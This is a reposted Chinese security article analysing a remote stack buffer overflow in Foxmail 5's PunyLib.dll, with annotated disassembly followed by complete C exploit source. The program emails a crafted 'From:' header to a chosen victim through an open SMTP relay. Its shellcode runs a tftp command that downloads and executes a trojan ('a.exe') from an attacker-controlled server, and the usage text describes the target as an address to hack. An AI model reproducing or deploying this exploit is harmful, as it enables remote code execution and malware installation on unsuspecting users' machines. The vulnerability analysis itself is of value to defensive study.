登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

Foxmail 5远程缓冲区溢出漏洞
发表日期:2006-03-12作者:root[转贴] 出处:安全焦点  

:本文是2004年2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码。2004年3月18日启明星辰公布漏洞并发布相关补丁。

测试环境:win2k sp4+foxmail 5.0.300

以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。

问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。

具体处理过程如下:
.text:10002040                 public UrlToLocal
.text:10002040 UrlToLocal      proc near
.text:10002040
.text:10002040 arg_0           = dword ptr  4
.text:10002040 arg_4           = dword ptr  8
.text:10002040
.text:10002040                 mov     eax, dword_1000804C
.text:10002045                 mov     ecx, dword_10008030
.text:1000204B                 mov     edx, [esp+arg_4]
.text:1000204F                 push    offset aHttp    ; "http://"
.text:10002054                 push    eax
.text:10002055                 mov     eax, [esp+8+arg_0]
.text:10002059                 push    offset unk_10008034
.text:1000205E                 push    ecx
.text:1000205F                 push    edx
.text:10002060                 push    eax
.text:10002061                 call    sub_10002070  ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容

.text:10002070 sub_10002070    proc near               ; CODE XREF: UrlToLocal+21p
.text:10002070                                         ; EmailAdrToLocal+107p
.text:10002070
.text:10002070 var_600         = dword ptr -600h
.text:10002070 var_500         = dword ptr -500h
.text:10002070 var_400         = dword ptr -400h
.text:10002070 var_300         = dword ptr -300h
.text:10002070 var_200         = dword ptr -200h
.text:10002070 var_100         = dword ptr -100h
.text:10002070 arg_0           = dword ptr  4
.text:10002070 arg_4           = dword ptr  8
.text:10002070 arg_8           = dword ptr  0Ch
.text:10002070 arg_C           = dword ptr  10h
.text:10002070 arg_10          = dword ptr  14h
.text:10002070 arg_14          = dword ptr  18h
.text:10002070
.text:10002070                 mov     edx, [esp+arg_0]
.text:10002074                 sub     esp, 600h
......
.text:100020DF                 push    eax
.text:100020E0                 push    ecx
.text:100020E1                 push    ebx
.text:100020E2                 call    sub_10001A30  ;调用10001A30,就是这个函数里面溢出了

.text:10001A30 sub_10001A30    proc near               ; CODE XREF: sub_10002070+72p
.text:10001A30                                         ; sub_10002290+95p
.text:10001A30
.text:10001A30 var_104         = dword ptr -104h
.text:10001A30 var_100         = dword ptr -100h
.text:10001A30 arg_0           = dword ptr  4
.text:10001A30 arg_4           = dword ptr  8
.text:10001A30 arg_8           = dword ptr  0Ch
.text:10001A30 arg_C           = dword ptr  10h
.text:10001A30 arg_10          = dword ptr  14h
.text:10001A30 arg_14          = dword ptr  18h
.text:10001A30
.text:10001A30                 sub     esp, 104h  ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200
.text:10001A36                 push    ebx
.text:10001A37                 mov     ebx, [esp+108h+arg_0]
.text:10001A3E                 push    ebp
.text:10001A3F                 mov     ebp, [esp+10Ch+arg_10]
.text:10001A46                 push    esi
.text:10001A47                 xor     esi, esi
......
.text:10001AA9                 sub     edi, ecx
.text:10001AAB                 mov     eax, ecx
.text:10001AAD                 mov     esi, edi
.text:10001AAF                 mov     edi, edx
.text:10001AB1                 shr     ecx, 2
.text:10001AB4                 rep movsd  ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里
.text:10001AB6                 mov     ecx, eax
.text:10001AB8                 and     ecx, 3
.text:10001ABB                 rep movsb
......
.text:10001AE7                 mov     edi, [esp+114h+arg_C]
.text:10001AEE                 shr     ecx, 2
.text:10001AF1                 rep movsd  ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0
.text:10001AF3                 mov     ecx, eax
.text:10001AF5                 and     ecx, 3
.text:10001AF8                 rep movsb
......
.text:10001BD7                 pop     edi
.text:10001BD8                 pop     esi
.text:10001BD9                 pop     ebp
.text:10001BDA                 pop     ebx
.text:10001BDB                 add     esp, 104h
.text:10001BE1                 retn  ;返回的时候就会回到我们的JMP ESP地址去

这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,\r,\n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。

有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。

/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
* -----------------------------------------------------------------------
* Author   : xfocus <webmaster@xfocus.org>
*          : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version  : 0.2
*
* Test     : Windows 2000 server GB/XP professional
*                + Foxmail 5.0.300.0
* Notes    : unpublished vul.
* Greets   : all member of XFOCUS Security Team.
* Complie  : cl fmx.c
* Usage    : fmx <mail_addr> <tftp_server> <smtp_server>
*             mail_addr: email address we wantto hack
*             tftp_server: run a tftp server and have a a.exe trojan
*             smtp_server: SMTP server don't need login, we send the email thru it
*
* Date     : 2004-02-27
* Revised  : 2004-03-05
*
* Revise History:
* 2003-03-05  call WinExec() addr of Foxmail.exe module to run tftp for down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

//mail body, it's based on a real spam email, heh
unsigned char packet[] =
"From: %s\r\n" //buffer to overrun
"Subject: Hi,man\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed; boundary=\"87122827\"\r\n"
"\r\n"
"\r\n"
"--87122827\r\n"
"Content-Type: text/plain; charset=us-ascii\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"T\r\n"
"\r\n"
"--87122827\r\n"
"Content-Disposition: attachment\r\n"
"Content-Type: Text/HTML;\r\n"
"  name=\"girl.htm\"\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"<html></html>\r\n"
"--87122827--\r\n"
"\r\n"
".\r\n";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

#define SMTPPORT 25
int  Make_Connection(char *address,int port,int timeout);
int  SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])
{
    WSADATA WSAData;
    char *mailaddr = NULL;
    char *tftp = NULL;
    char *smtpserver = NULL;

    if(argc!=4)
    {
        printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);
        return 1;
    }
    mailaddr=argv[1];
    tftp=argv[2];
    smtpserver=argv[3];

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        printf("WSAStartup failed.\n");
        WSACleanup();
        exit(1);
    }
    
    //WinExec() address
    SendXMail(mailaddr, tftp, smtpserver, winexec);  //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
    SendXMail(mailaddr, tftp, smtpserver, winexec2);  //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

    WSACleanup();

    return 0;
}

//  建立TCP连接
//  输入:
//       char * address  IP地址
//       int  port       端口
//       int  timeout    延时
//  输出:
//  返回:
//       成功 >0
//       错误 <=0    

int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        return -5;
    }
    ioctlsocket(s,FIONBIO,&bf);
    return s;
}

//send magic mail
int  SendXMail(    char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
    SOCKET  csock;
    int     ret,i=0;
    char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
    csock = Make_Connection(smtpserver, SMTPPORT, 10);
    if(csock<0)
    {
        printf("connect err.\n");
        exit(1);
    }

    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM: info@sina.com\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
    
    sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);
    ret=send(csock, tmp,strlen(tmp), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
    Sleep(1000);
    
    ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    printf("send exploit mail...\n");
    memset(sbuf, 0, sizeof(sbuf));
    memset(buf, 0, sizeof(buf));
    memset(buf, 0x41, sizeof(buf)-1);
    memset(tmp, 0, sizeof(tmp));
    //strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
    strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
    strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");
    sprintf(tmp1, tmp, tftp);
    memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
    *(int *)(buf+0x100)=0x7ffa54cd;  //ret addr jmp esp
    *(int *)(buf+0x104)=0x80eb80eb;  //jmp back
    *(int *)(buf+0x108)=0x7ffdf220;  //writeable addr
    *(int *)(buf+0x110)=0x7ffdf220;  //writeable addr
    memcpy(buf, "girl\x0d", 5);
    sprintf(sbuf, (char *)packet, buf);

    ret=send(csock, sbuf,strlen(sbuf), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
    printf("exploit mail sent.\n");
    closesocket(csock);
    return 0;
}

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Foxmail 5远程缓冲区溢出漏洞

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.0019